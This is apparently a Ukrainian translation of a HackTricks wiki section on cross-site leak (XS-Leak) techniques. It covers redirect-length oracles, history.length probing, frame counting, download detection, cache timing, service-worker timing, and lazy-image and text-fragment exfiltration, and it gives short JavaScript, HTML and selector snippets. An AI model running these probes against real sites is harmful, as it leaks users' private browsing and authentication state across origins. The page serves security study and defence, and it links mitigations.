Згідно з документацією Chromium, максимальна довжина URL у Chrome становить 2 МБ.

Загалом, веб-платформа не має обмежень на довжину URL (хоча 2^31 є загальним обмеженням). Chrome обмежує URL до максимальної довжини 2 МБ з практичних причин і для уникнення проблем з відмовою в обслуговуванні в міжпроцесній комунікації.

Отже, якщо URL перенаправлення відповів більшому розміру в одному з випадків, можна зробити перенаправлення з URL більшим за 2 МБ, щоб досягти обмеження довжини. Коли це стається, Chrome показує сторінку about:blank#blocked.

Помітна різниця полягає в тому, що якщо перенаправлення було завершено, window.origin видасть помилку, оскільки перехресне походження не може отримати цю інформацію. Однак, якщо обмеження було **** досягнуто, і завантажена сторінка була about:blank#blocked, походження вікна залишається таким, як у батька, що є доступною інформацією.

Всю додаткову інформацію, необхідну для досягнення 2 МБ, можна додати через хеш у початковому URL, щоб вона була використана у перенаправленні.

{% content-ref url="url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Максимальна кількість перенаправлень

Якщо максимальна кількість перенаправлень для браузера - 20, зловмисник може спробувати завантажити свою сторінку з 19 перенаправленнями і, нарешті, направити жертву на тестову сторінку. Якщо виникає помилка, то сторінка намагалася перенаправити жертву.

Довжина історії

API історії дозволяє коду JavaScript маніпулювати історією браузера, яка зберігає сторінки, відвідані користувачем. Зловмисник може використовувати властивість length як метод включення: для виявлення навігації JavaScript та HTML.
Перевірка history.length, змушуючи користувача переходити на сторінку, змінюючи її назад на той самий початковий та перевіряючи нове значення history.length.

Довжина історії з однаковим URL

  • Методи включення: Фрейми, Виринаючі вікна
  • Виявлення різниці: Якщо URL співпадає з вгаданим
  • Опис: Можливо вгадати, чи розташування фрейму/виринаючого вікна знаходиться за певним URL, зловживаючи довжиною історії.
  • Приклад коду: Нижче

Зловмисник може використовувати код JavaScript для маніпулювання розташуванням фрейму/виринаючого вікна на вгаданий та негайно змінити його на about:blank. Якщо довжина історії збільшилася, це означає, що URL був правильним і в нього було час збільшитися, оскільки URL не перезавантажується, якщо він однаковий. Якщо вона не збільшилася, це означає, що він намагався завантажити вгаданий URL, але через те, що ми негайно після цього завантажили about:blank, довжина історії ніколи не збільшилася при завантаженні вгаданого URL.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Підрахунок кадрів

Підрахунок кількості кадрів на веб-сторінці, відкритій через iframe або window.open, може допомогти визначити стан користувача на цій сторінці.
Більше того, якщо на сторінці завжди однакова кількість кадрів, постійна перевірка кількості кадрів може допомогти виявити шаблон, який може витікати інформацію.

Прикладом цієї техніки є те, що в Chrome PDF-файл може бути виявлений за допомогою підрахунку кадрів, оскільки внутрішньо використовується embed. Існують параметри відкриття URL, які дозволяють контролювати вміст, такі як zoom, view, page, toolbar, де ця техніка може бути цікавою.

HTMLElements

Витікання інформації через HTML-елементи є проблемою веб-безпеки, особливо коли динамічні медіафайли генеруються на основі інформації користувача або коли додаються водяні знаки, змінюючи розмір медіафайлу. Це може бути використано зловмисниками для розрізнення між можливими станами, аналізуючи інформацію, яку викривають певні HTML-елементи.

Інформація, викрита HTML-елементами

  • HTMLMediaElement: Цей елемент розкриває тривалість та час буферизації медіафайлу, до яких можна отримати доступ через його API. Докладніше про HTMLMediaElement
  • HTMLVideoElement: Він розкриває videoHeight та videoWidth. У деяких браузерах доступні додаткові властивості, такі як webkitVideoDecodedByteCount, webkitAudioDecodedByteCount та webkitDecodedFrameCount, які надають більш детальну інформацію про вміст медіафайлу. Докладніше про HTMLVideoElement
  • getVideoPlaybackQuality(): Ця функція надає деталі про якість відтворення відео, включаючи totalVideoFrames, яке може вказувати на обсяг обробленої відеоінформації. Докладніше про getVideoPlaybackQuality()
  • HTMLImageElement: Цей елемент витікає висоту та ширину зображення. Однак, якщо зображення недійсне, ці властивості повернуть 0, а функція image.decode() буде відхилена, що вказує на невдале завантаження зображення. Докладніше про HTMLImageElement

Властивість CSS

Веб-додатки можуть змінювати стилі веб-сайту в залежності від стану користувача. Крос-доменні CSS-файли можуть бути вбудовані на сторінку атакувальника за допомогою HTML-елементу посилання, і правила будуть застосовані до сторінки атакувальника. Якщо сторінка динамічно змінює ці правила, атакувальник може виявити ці різниці в залежності від стану користувача.
Як техніку витоку, атакувальник може використовувати метод window.getComputedStyle для читання CSS властивостей конкретного HTML-елемента. В результаті атакувальник може читати довільні CSS-властивості, якщо відомий елемент та назва властивості.

Історія CSS

{% hint style="info" %} Згідно з цим, це не працює в безголовому Chrome. {% endhint %}

Селектор CSS :visited використовується для стилізації URL по-різному, якщо їх раніше відвідував користувач. Раніше метод getComputedStyle() міг бути використаний для ідентифікації цих різниць у стилях. Однак сучасні браузери впровадили заходи безпеки для того, щоб запобігти виявленню стану посилання за допомогою цього методу. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідано, та обмеження стилів, які можуть бути застосовані за допомогою селектора :visited.

Незважаючи на ці обмеження, можливо визначити відвіданий стан посилання непрямо. Одним з методів є введення користувача взаємодіяти з областю, яка піддається CSS, зокрема використання властивості mix-blend-mode. Ця властивість дозволяє змішувати елементи з їхнім фоном, що потенційно розкриває відвіданий стан на основі взаємодії користувача.

Крім того, виявлення можливе без взаємодії користувача шляхом експлуатації часів відтворення посилань. Оскільки браузери можуть відтворювати відвідані та не відвідані посилання по-різному, це може призвести до вимірювання різниці у часі відтворення. Доказ концепції (PoC) був згаданий у звіті про помилку в Chromium, демонструючи цю техніку за допомогою кількох посилань для підсилення різниці у часі, тим самим роблячи відвіданий стан виявним через аналіз часу.

Для отримання додаткових відомостей про ці властивості та методи відвідайте їх сторінки документації:

Витік X-Frame з ContentDocument

У Chrome, якщо сторінка з заголовком X-Frame-Options, встановленим на "deny" або "same-origin", вбудована як об'єкт, з'являється сторінка помилки. Chrome унікально повертає порожній об'єкт документа (замість null) для властивості contentDocument цього об'єкта, на відміну від iframe або інших браузерів. Атакувальники можуть використовувати це, виявляючи порожній документ, що потенційно розкриває інформацію про стан користувача, особливо якщо розробники неоднаково встановлюють заголовок X-Frame-Options, часто не помічаючи сторінки помилок. Свідомість та послідовне застосування заголовків безпеки є важливими для запобігання таким витокам.

Виявлення Завантаження

Заголовок Content-Disposition, зокрема Content-Disposition: attachment, вказує браузеру завантажувати вміст, а не відображати його вбудовано. Цю поведінку можна використовувати для виявлення доступу користувача до сторінки, яка спричиняє завантаження файлу. У браузерах на основі Chromium є кілька технік для виявлення цієї поведінки завантаження:

  1. Моніторинг Смуги Завантаження:
  • Коли файл завантажується у браузерах на основі Chromium, у нижній частині вікна браузера з'являється смуга завантаження.
  • Моніторинг змін у висоті вікна дозволяє атакувальникам висновувати про появу смуги завантаження, що вказує на початок завантаження.
  1. Навігація Завантаження за допомогою Iframes:
  • Коли сторінка спричиняє завантаження файлу за допомогою заголовка Content-Disposition: attachment, це не викликає подію навігації.
  • Завантажуючи вміст у iframe та моніторинг подій навігації, можна перевірити, чи спричиняє вміщення файлу завантаження (немає навігації) чи ні.
  1. Навігація Завантаження без Iframes:
  • Аналогічно до техніки з iframe, цей метод включає використання window.open замість iframe.
  • Моніторинг подій навігації у відкритому вікні може розкрити, чи було спричинене завантаження файлу (немає навігації) чи вміст відображено вбудовано (відбувається навігація).

У сценаріях, де тільки авторизовані користувачі можуть спричинити такі завантаження, ці техніки можна використовувати для опосередкованого висновку про стан аутентифікації користувача на основі відповіді браузера на запит завантаження.

Обхід Розділеного Кешу HTTP

{% hint style="warning" %} Це чому ця техніка цікава: Chrome тепер має розділення кешу, і ключ кешу нової відкритої сторінки: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), але якщо я відкрию сторінку ngrok і використаю fetch на ній, ключ кешу буде: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), ключ кешу відрізняється, тому кеш не може бути спільним. Детальніше можна знайти тут: Забезпечення безпеки та конфіденційності шляхом розділення кешу
(Коментар з тут) {% endhint %}

Якщо сайт example.com включає ресурс з *.example.com/resource, то цей ресурс матиме той самий ключ кешу, що й якби ресурс був безпосередньо запитаний через навігацію верхнього рівня. Це тому, що ключ кешу складається з верхнього eTLD+1 та фрейму eTLD+1.

Оскільки доступ до кешу є швидшим, ніж завантаження ресурсу, можна спробувати змінити місце сторінки та скасувати це через 20 мс (наприклад). Якщо походження змінилося після зупинки, це означає, що ресурс був закешований.
Або можна просто відправити запит fetch на можливо закешовану сторінку та виміряти час, який це займає.

Ручне Перенаправлення

Fetch з AbortController

Використовуйте fetch та setTimeout з AbortController, щоб виявити, чи ресурс закешований, та видалити певний ресурс з кешу браузера. Крім того, процес відбувається без кешування нового вмісту.

Забруднення скриптів

  • Методи включення: HTML-елементи (скрипт)
  • Виявна різниця: Вміст сторінки
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag
  • Опис: Можливо перезаписати вбудовані функції та прочитати їх аргументи навіть з скрипту з іншого джерела (який не може бути прочитаний безпосередньо), це може витікати цінну інформацію.
  • Приклад коду: https://xsleaks.dev/docs/attacks/element-leaks/#script-tag

Робочі процеси служби

  • Методи включення: Виринаючі вікна
  • Виявна різниця: Вміст сторінки
  • Додаткова інформація: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers
  • Опис: Вимірюйте час виконання веб-сайту за допомогою робочих процесів служби.
  • Приклад коду:

У вказаному сценарії зловмисник бере ініціативу зареєструвати робочий процес служби на одному з їх доменів, зокрема "attacker.com". Далі зловмисник відкриває нове вікно на цільовому веб-сайті з основного документа та вказує робочому процесу служби розпочати таймер. Коли нове вікно починає завантажуватися, зловмисник переходить за посиланням, отриманим на попередньому кроці, на сторінку, керовану робочим процесом служби.

Після прибуття запиту, ініційованого на попередньому кроці, робочий процес служби відповідає статусом 204 (Немає вмісту), ефективно завершуючи процес навігації. На цьому етапі робочий процес служби захоплює вимірювання з таймера, запущеного раніше на другому кроці. Це вимірювання впливає на тривалість JavaScript, що спричиняє затримки у процесі навігації.

{% hint style="warning" %} Під час вимірювання виконання можливо уникнути мережевих факторів, щоб отримати більш точні вимірювання. Наприклад, завантажуючи ресурси, використані на сторінці, перед її завантаженням. {% endhint %}

Витягування часу

Час між вікнами


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, підтримуваних найбільш продвинутими інструментами спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

З HTML або повторним введенням

Тут ви знайдете техніки для витягування інформації з крос-доменного HTML, вставляючи вміст HTML. Ці техніки цікаві у випадках, коли з якоїсь причини ви можете вставляти HTML, але не можете вставити JS-код.

Висяча розмітка

{% content-ref url="../dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Лінива завантаження зображень

Якщо вам потрібно витягнути вміст і ви можете додати HTML перед секретом, вам слід перевірити загальні техніки висячої розмітки.
Однак, якщо з якоїсь причини вам ОБОВ'ЯЗКОВО робити це по символу (можливо, комунікація відбувається через попадання в кеш), ви можете використовувати цей трюк.

У HTML зображення має атрибут "loading", значенням якого може бути "ліниве". У цьому випадку зображення буде завантажено при перегляді, а не під час завантаження сторінки:

<img src=/something loading=lazy >

Отже, те, що ви можете зробити, це додати багато непотрібних символів (наприклад, тисячі "W") для заповнення веб-сторінки перед секретом або додавання чогось на кшталт <br><canvas height="1850px"></canvas><br>.
Потім, якщо, наприклад, наш ін'єкція з'явиться перед прапорцем, зображення буде завантажено, але якщо воно з'явиться після прапорця, прапорець + непотрібні символи запобіжать його завантаженню (вам потрібно грати з тим, скільки непотрібних символів розмістити). Це те, що сталося в цьому описі.

Інша опція - використовувати scroll-to-text-fragment, якщо це дозволено:

Scroll-to-text-fragment

Однак ви можете зробити так, щоб бот отримав доступ до сторінки за допомогою чогось на кшталт

#:~:text=SECR

Отже, веб-сторінка буде виглядати приблизно так: https://victim.com/post.html#:~:text=SECR

Де post.html містить непотрібні символи атакувача та ледаче завантажене зображення, після чого додається секрет бота.

Цей текст дозволить боту отримати доступ до будь-якого тексту на сторінці, який містить текст SECR. Оскільки цей текст є секретним і знаходиться просто під зображенням, зображення завантажиться лише у випадку правильного вгадування секрету. Отже, у вас є ваш оракул для ексфільтрації секрету посимвольно.

Приклад коду для використання цього: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Затримка завантаження зображення за часом

Якщо неможливо завантажити зовнішнє зображення, що може підказати атакуючому, що зображення було завантажено, іншою опцією буде спробувати вгадати символ кілька разів і виміряти це. Якщо зображення завантажено, всі запити займуть більше часу, ніж якщо зображення не завантажено. Це було використано в рішенні цього огляду узагальнено тут:

{% content-ref url="event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="../regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Якщо використовується jQuery(location.hash), можна визначити через час, чи існує який-небудь HTML-контент, це тому, що якщо селектор main[id='site-main'] не відповідає, не потрібно перевіряти решту селекторів:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Впровадження CSS

{% content-ref url="css-injection/" %} css-injection {% endcontent-ref %}

Захист

Є рекомендації щодо пом'якшення ризиків у https://xsinator.com/paper.pdf також у кожному розділі вікі https://xsleaks.dev/. Перегляньте там більше інформації про те, як захиститися від цих технік.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:


Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі.
Отримайте доступ сьогодні:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}